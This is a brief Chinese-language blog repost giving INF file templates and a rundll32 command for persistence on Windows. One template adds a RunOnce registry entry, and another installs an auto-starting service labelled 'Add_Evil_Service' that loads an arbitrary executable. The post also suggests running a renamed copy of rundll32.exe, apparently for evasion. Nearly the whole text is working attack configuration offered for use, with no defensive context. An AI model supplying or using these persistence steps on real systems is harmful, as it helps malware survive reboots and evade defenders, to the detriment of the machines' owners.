利用INF安装服务启动

写注册表


[Version] Signature="$CHICAGO$" [DefaultInstall] AddReg=test [test] HKCU,Software\Microsoft\Windows\CurrentVersion\RunOnce,test,0,"C:\test.exe"

inf安装服务

[Version]
Signature="$WINDOWS NT$"

[DefaultInstall.Services]
AddService=Darkst,,Add_Evil_Service ;服务名称

[Add_Evil_Service]
DisplayName=Darkst ;显示名称
Description=Tested By Miku_fl0 ;服务描述
ServiceType=0x10 ;服务类型
StartType=2 ;启动类型
ErrorControl=0 ;错误控制
ServiceBinary=C:\windows\rav.exe ;服务要加载的exe文件路径 

 CMD 代码

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 C:\inst.inf 

 也可以将 system32目录下的rundll32.exe 目录下的文件复制出来改名 运行

原文地址:https://www.cnblogs.com/FCoding/p/2608806.html